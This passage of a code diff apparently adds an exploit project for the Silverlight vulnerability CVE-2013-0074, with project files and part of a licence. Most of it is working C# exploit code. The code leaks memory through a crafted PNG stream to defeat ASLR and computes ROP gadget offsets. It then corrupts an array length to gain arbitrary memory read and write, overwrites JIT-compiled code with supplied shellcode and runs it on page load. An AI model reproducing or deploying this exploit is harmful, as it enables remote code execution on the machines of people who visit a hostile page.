Initialize(handle, (IntPtr)1, true, false); // call agcore.dll DOM_ReferenceObject()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public partial class MainPage : UserControl
|
||||||
|
{
|
||||||
|
public static RichTextBox tbox;
|
||||||
|
public static uint[] buf;
|
||||||
|
public static ulong bufAddr;
|
||||||
|
public static object[] obj;
|
||||||
|
public static bool is64;
|
||||||
|
public static Version vsn;
|
||||||
|
public static byte[] payload;
|
||||||
|
|
||||||
|
public MainPage(System.Collections.Generic.IDictionary<string, string> iDictionary)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
InitializeComponent();
|
||||||
|
tbox = richTxtBox;
|
||||||
|
#endif
|
||||||
|
// print environment info
|
||||||
|
vsn = Environment.Version;
|
||||||
|
LogAdd("Silverlight: " + vsn.ToString() + "\n" + "OS: " + Environment.OSVersion.ToString());
|
||||||
|
payload = Convert.FromBase64String(iDictionary["payload"]);
|
||||||
|
LogAdd(String.Format("Payload decoded length: {0}", payload.Length));
|
||||||
|
#if !DEBUG
|
||||||
|
//TODO: First try doesn't overwritte Payload(), need to dig why, should...
|
||||||
|
exploit();
|
||||||
|
exploit();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
// prints message into richTextBox
|
||||||
|
public static void LogAdd(string txt)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
Paragraph p = new Paragraph();
|
||||||
|
p.Inlines.Add(txt);
|
||||||
|
tbox.Blocks.Add(p);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void LogAdd(object obj)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
LogAdd(obj == null ? "null" : obj.ToString());
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
// converts int to hex string
|
||||||
|
public static string Hex(int u)
|
||||||
|
{
|
||||||
|
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string Hex(ulong u)
|
||||||
|
{
|
||||||
|
return u <= 9 ? u.ToString() : "0x" + u.ToString("X");
|
||||||
|
}
|
||||||
|
|
||||||
|
// reads pointer from byte[]
|
||||||
|
public static ulong ReadAddr(byte[] b, int offs)
|
||||||
|
{
|
||||||
|
ulong u = 0;
|
||||||
|
for(int i=offs, j=0; i < offs + (is64 ? 8:4); i++, j+=8) u += ((ulong)b[i]) << j;
|
||||||
|
return u;
|
||||||
|
}
|
||||||
|
|
||||||
|
// writes pointer into byte[]
|
||||||
|
public static void WriteAddr(byte[] b, int offs, ulong u)
|
||||||
|
{
|
||||||
|
for (int i = offs; i < offs + (is64 ? 8:4); i++, u >>= 8)
|
||||||
|
b[i] = (byte)(u & 0xff);
|
||||||
|
}
|
||||||
|
|
||||||
|
// exploits memory disclosure in BitmapSource.SetSourceInternal()
|
||||||
|
ulong MemoryDiscl()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// prepare malicious MemoryStream
|
||||||
|
MyStream ms = new MyStream();
|
||||||
|
|
||||||
|
// create image based on stream data and data "outside" the stream
|
||||||
|
BitmapImage bi = new BitmapImage();
|
||||||
|
ms.offs = 39; // set offset for 32 bit environment
|
||||||
|
bi.SetSource(ms); // call the vulnerable SetSourceInternal()
|
||||||
|
|
||||||
|
// check png data parsing results
|
||||||
|
is64 = bi.PixelWidth == 0 || bi.PixelHeight == 0;
|
||||||
|
if (is64) { // error, ok lets try again with the offset for 64 bit
|
||||||
|
ms.offs = 79;
|
||||||
|
bi.SetSource(ms);
|
||||||
|
}
|
||||||
|
|
||||||
|
// check png data parsing results
|
||||||
|
if (bi.PixelWidth == 0 || bi.PixelHeight == 0) throw new Exception("Bad PNG data"); // error png parsing
|
||||||
|
|
||||||
|
// ok, now we should pass the diclosed memory into WriteableBitmap to access it as RGB pixel data
|
||||||
|
WriteableBitmap wb = new WriteableBitmap(bi);
|
||||||
|
LogAdd(wb);
|
||||||
|
|
||||||
|
// read pixels from image
|
||||||
|
int[] p = wb.Pixels;
|
||||||
|
int len = p.Length;
|
||||||
|
LogAdd(String.Format("pixels available to read: {0}", len));
|
||||||
|
string s = " ";
|
||||||
|
for (int i = 0; i < len; i++) {
|
||||||
|
s = p[i].ToString("X").Substring(2);
|
||||||
|
LogAdd(String.Format("pixel[{0}] = {1}", i, s));
|
||||||
|
}
|
||||||
|
|
||||||
|
// convert int[] to byte[]
|
||||||
|
byte[] b = new byte[len * 3];
|
||||||
|
int k;
|
||||||
|
for (int i = is64 ? 5:2, j=0; i < len; i++, j+=3)
|
||||||
|
{
|
||||||
|
k = p[i] & 0xffffff;
|
||||||
|
b[j + 2] = (byte)(k & 0xff); k >>= 8;
|
||||||
|
b[j + 1] = (byte)(k & 0xff); k >>= 8;
|
||||||
|
b[j + 0] = (byte)(k & 0xff); k >>= 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
// parse memory addresses from b[]
|
||||||
|
ulong hMod = ReadAddr(b, is64 ? 0:1); // type pointer for obj[] // we'll need it for mscorlib.ni.dll image base calculation for the ASLR bypass
|
||||||
|
ulong addr1 = ReadAddr(b, is64 ? 24:13); // obj[0] = address of png[]
|
||||||
|
bufAddr = ReadAddr(b, is64 ? 32:17); // obj[1] = address of MainPage.inst.buf[]
|
||||||
|
|
||||||
|
LogAdd("obj[] type = " + Hex(hMod) + ", png[] address = " + Hex(addr1) + ", buf[] address = " + Hex(bufAddr));
|
||||||
|
|
||||||
|
// calc the ROP offset inside mscorlib.ni.dll
|
||||||
|
// * x86
|
||||||
|
// 7997526b 83493440 or dword ptr [ecx+34h],40h
|
||||||
|
// 7997526f b801000000 mov eax,1
|
||||||
|
// 79975274 c20400 ret 4
|
||||||
|
// * x64
|
||||||
|
// 000007fe`f03e19d0 895168 mov dword ptr [rcx+68h],edx
|
||||||
|
// 000007fe`f03e19d3 c3 ret
|
||||||
|
if (Environment.OSVersion.Platform != PlatformID.Win32NT) throw new Exception("Sorry, but the further code works for Windows only.");
|
||||||
|
ulong rop = 0;
|
||||||
|
if (vsn.Major == 5 && vsn.Build == 10411)
|
||||||
|
{
|
||||||
|
rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A526B);
|
||||||
|
}
|
||||||
|
else if (vsn.Major == 5 && vsn.Build == 61118)
|
||||||
|
{
|
||||||
|
rop = (hMod & 0xffffffffffff0000) - (ulong)(is64 ? 0x670000 - 0x4519D0 : 0x470000 - 0x2A520F);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (rop == 0) throw new Exception("Sorry, but the further code works for vulnerable 5 builds only.");
|
||||||
|
|
||||||
|
// calc object pointer offset inside png2[]
|
||||||
|
ulong addr2 = bufAddr - (ulong)(is64 ? 96:45);
|
||||||
|
k = (int)(addr2 - addr1) - (is64 ? 16:8);
|
||||||
|
|
||||||
|
// write vtable pointer
|
||||||
|
WriteAddr(ms.png, k, addr2);
|
||||||
|
// write address of ROP gadget
|
||||||
|
WriteAddr(ms.png, k + (is64 ? 8:4), rop);
|
||||||
|
|
||||||
|
// ok, return the pointer for ScriptObject.Initialize() exploitation
|
||||||
|
return addr2;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
LogAdd("Error: " + ex.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
class ShellHelper32 : Random
|
||||||
|
{
|
||||||
|
// x32 shellcode
|
||||||
|
uint[] payload;
|
||||||
|
|
||||||
|
// PreCondition : arr.Lenth % 4 == 0
|
||||||
|
public virtual void SetPayload(byte[] arr)
|
||||||
|
{
|
||||||
|
payload = new uint[arr.Length / 4];
|
||||||
|
for (int i = 0, k = 0; i < arr.Length; i += 4, k += 1)
|
||||||
|
{
|
||||||
|
payload[k] = BitConverter.ToUInt32(arr, i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// read uint from memory address
|
||||||
|
uint Get(uint addr)
|
||||||
|
{
|
||||||
|
if (addr > 0x10000) return buf[(addr - (uint)bufAddr - 8) >> 2]; else return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// write uint into memory address
|
||||||
|
void Set(uint addr, uint val)
|
||||||
|
{
|
||||||
|
if (addr > 0x10000) buf[(addr - (uint)bufAddr - 8) >> 2] = val;
|
||||||
|
}
|
||||||
|
|
||||||
|
// exchange two uint arrays
|
||||||
|
void Exchange(uint addr, uint[] arr)
|
||||||
|
{
|
||||||
|
uint u;
|
||||||
|
int len = arr.Length;
|
||||||
|
for (int i=0; i < len; i++, addr += 4) {
|
||||||
|
u = Get(addr); Set(addr, arr[i]); arr[i] = u;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// declare virtual function for the further DEP bypass
|
||||||
|
public virtual int Payload()
|
||||||
|
{
|
||||||
|
// generate dummy JIT-code
|
||||||
|
if (this == null) LogAdd(ToString());
|
||||||
|
if (this == null) LogAdd(ToString());
|
||||||
|
if (this == null) LogAdd(ToString());
|
||||||
|
if (this == null) LogAdd(ToString());
|
||||||
|
if (this == null) LogAdd(ToString());
|
||||||
|
LogAdd("Payload() hit!");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public virtual void Exec(int oldLen)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
// generate JIT-code for Payload()
|
||||||
|
Payload();
|
||||||
|
|
||||||
|
// save pointers within obj[] array after buf[]
|
||||||
|
obj[0] = buf;
|
||||||
|
obj[1] = this;
|
||||||
|
|
||||||
|
// find obj[] array and "this" pointer after buf[]
|
||||||
|
uint addr = 0;
|
||||||
|
for (int i = 2; i < 64; i++)
|
||||||
|
if (buf[i] == (uint)bufAddr) { addr = buf[i+1]; break; }
|
||||||
|
|
||||||
|
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||||
|
|
||||||
|
// get (this.type + 2c) -> (vtable + 8) -> Payload() address
|
||||||
|
addr = Get(Get(Get(addr) + 0x2c) + 8);
|
||||||
|
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Get(addr + i*4))); // for RnD
|
||||||
|
LogAdd("Payload() address = " + Hex(addr));
|
||||||
|
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||||
|
|
||||||
|
// copy payload over JIT-code memory
|
||||||
|
addr -= addr % 4;
|
||||||
|
Exchange(addr, payload);
|
||||||
|
|
||||||
|
uint contents = Get(addr);
|
||||||
|
|
||||||
|
LogAdd("Payload() Address " + Hex(addr) + ", Contents: " + Hex(contents));
|
||||||
|
|
||||||
|
LogAdd("Executing payload...");
|
||||||
|
// exec payload
|
||||||
|
int res = Payload();
|
||||||
|
|
||||||
|
// restore JIT memory
|
||||||
|
//Exchange(addr, payload);
|
||||||
|
|
||||||
|
LogAdd("Payload() returns " + Hex(res));
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
LogAdd("Error: " + ex.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
// restore buf[] length
|
||||||
|
buf[0x40000000-1] = (uint)oldLen;
|
||||||
|
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class ShellHelper64 : ShellHelper32
|
||||||
|
{
|
||||||
|
// x64 shellcode
|
||||||
|
byte[] payload;
|
||||||
|
|
||||||
|
public override void SetPayload(byte[] arr)
|
||||||
|
{
|
||||||
|
payload = new byte[arr.Length];
|
||||||
|
for (int i = 0; i < arr.Length; i += 1)
|
||||||
|
{
|
||||||
|
payload[i] = arr[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
UnmanagedMemoryStream ums;
|
||||||
|
ulong umsAddr;
|
||||||
|
byte[] bb;
|
||||||
|
|
||||||
|
// read ulong from x64 memory address
|
||||||
|
ulong Get(ulong addr)
|
||||||
|
{
|
||||||
|
if (addr < 0x10000) return 0;
|
||||||
|
|
||||||
|
addr = (addr - bufAddr - 8) >> 2;
|
||||||
|
return ((ulong)buf[addr+1] << 32) + buf[addr];
|
||||||
|
}
|
||||||
|
|
||||||
|
// write ulong into x64 memory address
|
||||||
|
void Set(ulong addr, ulong val)
|
||||||
|
{
|
||||||
|
if (addr < 0x10000) return;
|
||||||
|
|
||||||
|
addr = (addr - bufAddr - 8) >> 2;
|
||||||
|
buf[addr] = (uint)val;
|
||||||
|
buf[addr+1] = (uint)(val >> 32);
|
||||||
|
}
|
||||||
|
|
||||||
|
// read ulong from x64 memory address using ums
|
||||||
|
ulong Read(ulong addr)
|
||||||
|
{
|
||||||
|
if (addr < 0x10000) return 0;
|
||||||
|
|
||||||
|
// set ums._mem pointer
|
||||||
|
Set(umsAddr + 8, addr);
|
||||||
|
|
||||||
|
// read ulong from ums
|
||||||
|
ums.Position = 0;
|
||||||
|
ums.Read(bb, 0, 8);
|
||||||
|
return ReadAddr(bb, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// write ulong into x64 memory address using ums
|
||||||
|
void Write(ulong addr, ulong val)
|
||||||
|
{
|
||||||
|
if (addr < 0x10000) return;
|
||||||
|
|
||||||
|
// set ums._mem pointer
|
||||||
|
Set(umsAddr + 8, addr);
|
||||||
|
|
||||||
|
// write ulong into ums
|
||||||
|
ums.Position = 0;
|
||||||
|
WriteAddr(bb, 0, val);
|
||||||
|
ums.Write(bb, 0, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
// exchange two byte[] arrays
|
||||||
|
void Exchange(ulong addr, byte[] arr)
|
||||||
|
{
|
||||||
|
int len = arr.Length;
|
||||||
|
byte[] b = (byte[])arr.Clone();
|
||||||
|
|
||||||
|
// set ums._mem pointer
|
||||||
|
Set(umsAddr + 8, addr);
|
||||||
|
|
||||||
|
// read byte[] from ums
|
||||||
|
ums.Position = 0;
|
||||||
|
ums.Read(arr, 0, len);
|
||||||
|
|
||||||
|
// write byte[] into ums
|
||||||
|
ums.Position = 0;
|
||||||
|
ums.Write(b, 0, len);
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void Exec(int oldLen)
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
// generate JIT-code for Payload()
|
||||||
|
Payload();
|
||||||
|
|
||||||
|
// create UnmanagedMemoryStream
|
||||||
|
ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly);
|
||||||
|
ums = rm.GetStream("themes/generic.xaml");
|
||||||
|
LogAdd(ums);
|
||||||
|
if (ums == null) throw new Exception("Can't find themes/generic.xaml");
|
||||||
|
|
||||||
|
// save pointers within obj[] array after buf[]
|
||||||
|
obj[0] = buf;
|
||||||
|
obj[1] = this;
|
||||||
|
obj[2] = ums;
|
||||||
|
|
||||||
|
// find obj[] array after buf[]
|
||||||
|
ulong addr = 0;
|
||||||
|
for (int i = 3; i < 64; i++)
|
||||||
|
if (buf[i] == (uint)bufAddr) {
|
||||||
|
addr = ((ulong)buf[i+3] << 32) + buf[i+2];
|
||||||
|
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||||
|
|
||||||
|
// ensure that ums was allocated after buf[]
|
||||||
|
for (int j = 0; j < 100 && bufAddr > umsAddr; j++) {
|
||||||
|
ums = rm.GetStream("themes/generic.xaml");
|
||||||
|
obj[2] = ums;
|
||||||
|
umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4];
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (addr == 0) throw new Exception("Can't find obj[]");
|
||||||
|
LogAdd("ums address = " + Hex(umsAddr));
|
||||||
|
if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]");
|
||||||
|
|
||||||
|
//for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD
|
||||||
|
|
||||||
|
// set ums._access private field to FileAccess.ReadWrite = 3
|
||||||
|
Set(umsAddr + 6*8, 0x300000003);
|
||||||
|
LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek);
|
||||||
|
if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums");
|
||||||
|
|
||||||
|
// ok, we have UnmanagedMemoryStream with controlable private fields,
|
||||||
|
// so we can set any custom ums._mem pointer and read/write data starting from this pointer
|
||||||
|
|
||||||
|
// get (this.type + 72) -> (vtable + 16) -> Payload() address
|
||||||
|
bb = new byte[8];
|
||||||
|
addr = Read(Read(Read(addr) + 9*8) + 16);
|
||||||
|
//for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD
|
||||||
|
LogAdd("Payload() address = " + Hex(addr));
|
||||||
|
if (addr == 0) throw new Exception("Can't find Payload() address");
|
||||||
|
|
||||||
|
// copy payload over JIT-code memory
|
||||||
|
Exchange(addr, payload);
|
||||||
|
|
||||||
|
// exec payload
|
||||||
|
int res = Payload();
|
||||||
|
|
||||||
|
// restore JIT memory
|
||||||
|
//Exchange(addr, payload);
|
||||||
|
|
||||||
|
LogAdd("Payload() returns " + Hex(res));
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
LogAdd("Error: " + ex.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
// restore buf[] length
|
||||||
|
if (bb != null) {
|
||||||
|
Write(bufAddr + 8, (ulong)oldLen);
|
||||||
|
LogAdd("buf.Length = " + Hex(buf.Length));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void exploit()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
LogAdd("------------ START ------------");
|
||||||
|
// prepare pointer for ScriptObject.Initialize()
|
||||||
|
ulong h = MemoryDiscl();
|
||||||
|
LogAdd("handle = " + Hex(h));
|
||||||
|
if (h == 0) throw new Exception("Something is wrong with the memory disclosure");
|
||||||
|
|
||||||
|
// save old length
|
||||||
|
int oldLen = buf.Length;
|
||||||
|
LogAdd("buf.Length = " + Hex(oldLen));
|
||||||
|
|
||||||
|
// call ScriptObject.Initialize() and cause the buf.Length corruption
|
||||||
|
MyObject mo = new MyObject();
|
||||||
|
mo.Init((IntPtr)h); // call agcore.dll DOM_ReferenceObject(h)
|
||||||
|
|
||||||
|
// check results
|
||||||
|
int len = buf.Length;
|
||||||
|
LogAdd("buf.Length = " + Hex(len));
|
||||||
|
if (len == oldLen) throw new Exception("Something is wrong with buf.Length");
|
||||||
|
|
||||||
|
// ok, now we have an uint[] array with Length > 0x40000000, so we can read/write arbitrary memory addresses on x32,
|
||||||
|
// but this is not allways enough for x64. So for 64-bit we have to use different technique to gain the true "god mode".
|
||||||
|
ShellHelper32 sh;
|
||||||
|
if (is64)
|
||||||
|
{
|
||||||
|
sh = new ShellHelper64();
|
||||||
|
sh.SetPayload(payload);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sh = new ShellHelper32();
|
||||||
|
sh.SetPayload(payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
// execute payload
|
||||||
|
sh.Exec(oldLen);
|
||||||
|
|
||||||
|
LogAdd("------------ END ------------");
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
LogAdd("Error: " + ex.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void btnClickMe_Click(object sender, RoutedEventArgs e)
|
||||||
|
{
|
||||||
|
#if DEBUG
|
||||||
|
exploit();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
6
external/source/exploits/cve-2013-0074/SilverApp1/Properties/AppManifest.xml
vendored
Executable file
6
external/source/exploits/cve-2013-0074/SilverApp1/Properties/AppManifest.xml
vendored
Executable file
|
|
@ -0,0 +1,6 @@
|
||||||
|
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment"
|
||||||
|
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||||
|
>
|
||||||
|
<Deployment.Parts>
|
||||||
|
</Deployment.Parts>
|
||||||
|
</Deployment>
|
||||||
35
external/source/exploits/cve-2013-0074/SilverApp1/Properties/AssemblyInfo.cs
vendored
Executable file
35
external/source/exploits/cve-2013-0074/SilverApp1/Properties/AssemblyInfo.cs
vendored
Executable file
|
|
@ -0,0 +1,35 @@
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
// General Information about an assembly is controlled through the following
|
||||||
|
// set of attributes. Change these attribute values to modify the information
|
||||||
|
// associated with an assembly.
|
||||||
|
[assembly: AssemblyTitle("SilverApp1")]
|
||||||
|
[assembly: AssemblyDescription("")]
|
||||||
|
[assembly: AssemblyConfiguration("")]
|
||||||
|
[assembly: AssemblyCompany("Microsoft")]
|
||||||
|
[assembly: AssemblyProduct("SilverApp1")]
|
||||||
|
[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
|
||||||
|
[assembly: AssemblyTrademark("")]
|
||||||
|
[assembly: AssemblyCulture("")]
|
||||||
|
|
||||||
|
// Setting ComVisible to false makes the types in this assembly not visible
|
||||||
|
// to COM components. If you need to access a type in this assembly from
|
||||||
|
// COM, set the ComVisible attribute to true on that type.
|
||||||
|
[assembly: ComVisible(false)]
|
||||||
|
|
||||||
|
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||||
|
[assembly: Guid("2b886857-ef39-4df1-9815-19a050632476")]
|
||||||
|
|
||||||
|
// Version information for an assembly consists of the following four values:
|
||||||
|
//
|
||||||
|
// Major Version
|
||||||
|
// Minor Version
|
||||||
|
// Build Number
|
||||||
|
// Revision
|
||||||
|
//
|
||||||
|
// You can specify all the values or you can default the Revision and Build Numbers
|
||||||
|
// by using the '*' as shown below:
|
||||||
|
[assembly: AssemblyVersion("1.0.0.0")]
|
||||||
|
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||||
|
|
@ -0,0 +1,107 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProductVersion>8.0.50727</ProductVersion>
|
||||||
|
<SchemaVersion>2.0</SchemaVersion>
|
||||||
|
<ProjectGuid>{D33B3660-E6CA-4B29-9E09-0DF99B28840E}</ProjectGuid>
|
||||||
|
<ProjectTypeGuids>{A1591282-1198-4647-A2B1-27E5FF5F6F3B};{fae04ec0-301f-11d3-bf4b-00c04f79efbc}</ProjectTypeGuids>
|
||||||
|
<OutputType>Library</OutputType>
|
||||||
|
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||||
|
<RootNamespace>SilverApp1</RootNamespace>
|
||||||
|
<AssemblyName>SilverApp1</AssemblyName>
|
||||||
|
<TargetFrameworkIdentifier>Silverlight</TargetFrameworkIdentifier>
|
||||||
|
<TargetFrameworkVersion>v5.0</TargetFrameworkVersion>
|
||||||
|
<SilverlightVersion>$(TargetFrameworkVersion)</SilverlightVersion>
|
||||||
|
<SilverlightApplication>true</SilverlightApplication>
|
||||||
|
<SupportedCultures>
|
||||||
|
</SupportedCultures>
|
||||||
|
<XapOutputs>true</XapOutputs>
|
||||||
|
<GenerateSilverlightManifest>true</GenerateSilverlightManifest>
|
||||||
|
<XapFilename>SilverApp1.xap</XapFilename>
|
||||||
|
<SilverlightManifestTemplate>Properties\AppManifest.xml</SilverlightManifestTemplate>
|
||||||
|
<SilverlightAppEntry>SilverApp1.App</SilverlightAppEntry>
|
||||||
|
<TestPageFileName>SilverApp1TestPage.html</TestPageFileName>
|
||||||
|
<CreateTestPage>true</CreateTestPage>
|
||||||
|
<ValidateXaml>true</ValidateXaml>
|
||||||
|
<EnableOutOfBrowser>false</EnableOutOfBrowser>
|
||||||
|
<OutOfBrowserSettingsFile>Properties\OutOfBrowserSettings.xml</OutOfBrowserSettingsFile>
|
||||||
|
<UsePlatformExtensions>false</UsePlatformExtensions>
|
||||||
|
<ThrowErrorsInValidation>true</ThrowErrorsInValidation>
|
||||||
|
<LinkedServerProject>
|
||||||
|
</LinkedServerProject>
|
||||||
|
<TargetFrameworkProfile />
|
||||||
|
</PropertyGroup>
|
||||||
|
<!-- This property group is only here to support building this project using the
|
||||||
|
MSBuild 3.5 toolset. In order to work correctly with this older toolset, it needs
|
||||||
|
to set the TargetFrameworkVersion to v3.5 -->
|
||||||
|
<PropertyGroup Condition="'$(MSBuildToolsVersion)' == '3.5'">
|
||||||
|
<TargetFrameworkVersion>v3.5</TargetFrameworkVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>Bin\Debug</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE;SILVERLIGHT</DefineConstants>
|
||||||
|
<NoStdLib>true</NoStdLib>
|
||||||
|
<NoConfig>true</NoConfig>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>Bin\Release</OutputPath>
|
||||||
|
<DefineConstants>TRACE;SILVERLIGHT</DefineConstants>
|
||||||
|
<NoStdLib>true</NoStdLib>
|
||||||
|
<NoConfig>true</NoConfig>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="mscorlib" />
|
||||||
|
<Reference Include="System.Windows" />
|
||||||
|
<Reference Include="system" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.Windows.Browser" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="App.xaml.cs">
|
||||||
|
<DependentUpon>App.xaml</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="MainPage.xaml.cs">
|
||||||
|
<DependentUpon>MainPage.xaml</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ApplicationDefinition Include="App.xaml">
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
<Generator>MSBuild:Compile</Generator>
|
||||||
|
</ApplicationDefinition>
|
||||||
|
<Page Include="MainPage.xaml">
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
<Generator>MSBuild:Compile</Generator>
|
||||||
|
</Page>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Properties\AppManifest.xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildExtensionsPath32)\Microsoft\Silverlight\$(SilverlightVersion)\Microsoft.Silverlight.CSharp.targets" />
|
||||||
|
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||||
|
Other similar extension points exist, see Microsoft.Common.targets.
|
||||||
|
<Target Name="BeforeBuild">
|
||||||
|
</Target>
|
||||||
|
<Target Name="AfterBuild">
|
||||||
|
</Target>
|
||||||
|
-->
|
||||||
|
<ProjectExtensions>
|
||||||
|
<VisualStudio>
|
||||||
|
<FlavorProperties GUID="{A1591282-1198-4647-A2B1-27E5FF5F6F3B}">
|
||||||
|
<SilverlightProjectProperties />
|
||||||
|
</FlavorProperties>
|
||||||
|
</VisualStudio>
|
||||||
|
</ProjectExtensions>
|
||||||
|
</Project>
|
||||||
|
|
@ -1,25 +0,0 @@
|
||||||
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
All rights reserved.
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
provided that the following conditions are met:
|
|
||||||
|
|
||||||
* Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
conditions and the following disclaimer.
|
|
||||||
|
|
||||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
with the distribution.
|
|
||||||
|
|
||||||
* Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
